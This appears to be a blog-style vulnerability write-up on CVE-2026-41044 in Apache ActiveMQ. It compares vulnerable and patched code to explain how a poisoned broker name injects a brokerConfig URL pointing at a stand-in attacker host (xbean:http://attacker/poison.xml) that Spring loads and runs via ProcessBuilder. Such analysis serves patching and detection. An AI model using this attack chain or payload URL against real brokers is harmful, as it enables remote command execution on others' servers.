
Educational walkthrough and proof-of-concept for CVE-2026-41044, an Apache ActiveMQ RCE, with root-cause analysis and detection script.
Note: Educational Purposes Only
CVE-2026-41044 was disclosed on April 24, 2026. It's a remote code execution bug in Apache ActiveMQ Classic, found by jsjcw, patched in 5.19.6 and 6.2.5. I didn't find it.
What I want to show is how someone who has never touched ActiveMQ before can produce a working exploit of an N-day in an afternoon, because the patched code is public, the unpatched code is public, and the gap between them is a git diff away.
The process is simple:
What used to take days now takes an afternoon. AI doesn't find bugs. It reads code and explains it as fast as you can ask questions. The expensive part is still you: deciding what's actually exploitable, where the real trust boundaries are, what needs verification. The model just walks call graphs faster than any human can.
The bigger point: if your patching workflow assumes a week of analysis time per CVE, you're on the old timeline. git diff is the same length whether you're writing detection or writing exploits.
ActiveMQ is a message broker. It sits in the middle and passes messages between applications. Think of it like a post office: apps drop off messages, ActiveMQ delivers them to the right recipient. It's widely deployed in enterprise Java stacks and exposes a web console and a REST management API called Jolokia at /api/jolokia/. Default credentials in many deployments are still admin:admin.
ActiveMQ let any authenticated user load a broker configuration from an arbitrary HTTP URL, which Spring would parse and immediately execute as Java objects - including ProcessBuilder - giving the attacker full OS command execution on the broker server.
localhost./api/jolokia/ that exposes management operations as a REST API. Any valid web console credential reaches it - not just admin.vm:// transport: the in-process transport used when a client lives in the same JVM as the broker. It accepts a ?brokerConfig= query parameter pointing to a Spring XML config to bootstrap a broker from.xbean:: a URL scheme that tells ActiveMQ to treat the URL as a Spring XML config and load it.init-method: Spring reads XML and automatically creates Java objects (beans). The init-method attribute tells Spring to call a method on the bean the moment it is created - before anything else runs.ProcessBuilder: a standard Java class that runs OS commands. ProcessBuilder.start() executes the command.DestinationView.sendTextMessage() in 5.19.2 builds a broker connection URL by directly concatenating the broker name into a string:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
If getBrokerName() returns localhost?brokerConfig=xbean:http://attacker/poison.xml, that entire string becomes a valid vm:// URI with an embedded query parameter. ActiveMQConnectionFactory hands it to VMTransportFactory, which lifts the brokerConfig parameter out and uses it as the broker's bootstrap configuration URL.
The fix in 5.19.6 is one line:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String becomes URI - accidental concatenation is no longer possible. The value comes from a pre-constructed, immutable URI object derived from the broker's actual registered VM connector, not from a mutable name string.
For Layer 1 to be exploitable, the broker name has to be poisoned first. BrokerService has always sanitized broker names:
// BrokerService.setBrokerName() - present in BOTH versions
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
That regex strips ? and = cleanly. The CVE existed because RegionBroker had its own separate setter that did not:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutable
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // no validation at all
}
This is a classic confused deputy - two setters on related classes, only one of them sanitizes. A remote peer broadcasting a crafted BrokerInfo packet with a poisoned name field reaches RegionBroker.setBrokerName() directly, bypassing BrokerService's regex entirely.
The fix in 5.19.6 deletes the setter, makes the field final, and initializes it once from the already-sanitized parent:
// 5.19.6 - RegionBroker.java
private final String brokerName; // immutable
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() is gone. There is no setter anymore.
}
You cannot bypass a sanitizer that has no parallel writer.
VMTransportFactory.doCompositeConnect() is the function that takes the vm://...?brokerConfig=... URI, lifts the brokerConfig parameter, and calls BrokerFactory.createBroker(brokerURI). It is the trigger mechanism of the entire chain.
Apache changed exactly nothing here.
That choice tells you something about how they thought about the fix. VMTransportFactory is doing legitimate work - vm:// transports really are supposed to accept bootstrap configs. Patching it would have broken the intended design. Instead, Apache fixed the bug at the source (Layer 2: no poisoned name can be written) and at the sink (Layer 5: even if a poisoned URL got through, the resource resolver won't fetch it).
Fix the layers where validation belongs, not the layer where the attacker happened to come through.
// XBeanBrokerFactory - same in both versions
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Layer 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) is where Spring does its thing - every bean's init-method runs on context construction, before ActiveMQ's BrokerService ever validates the result. There is no patch to make here. Spring's contract is correct as designed. The bug was that ActiveMQ relied on validation happening before instantiation, and Spring doesn't promise that ordering.
This is the function that decided whether xbean:http://attacker/poison.xml should be fetched. In 5.19.2: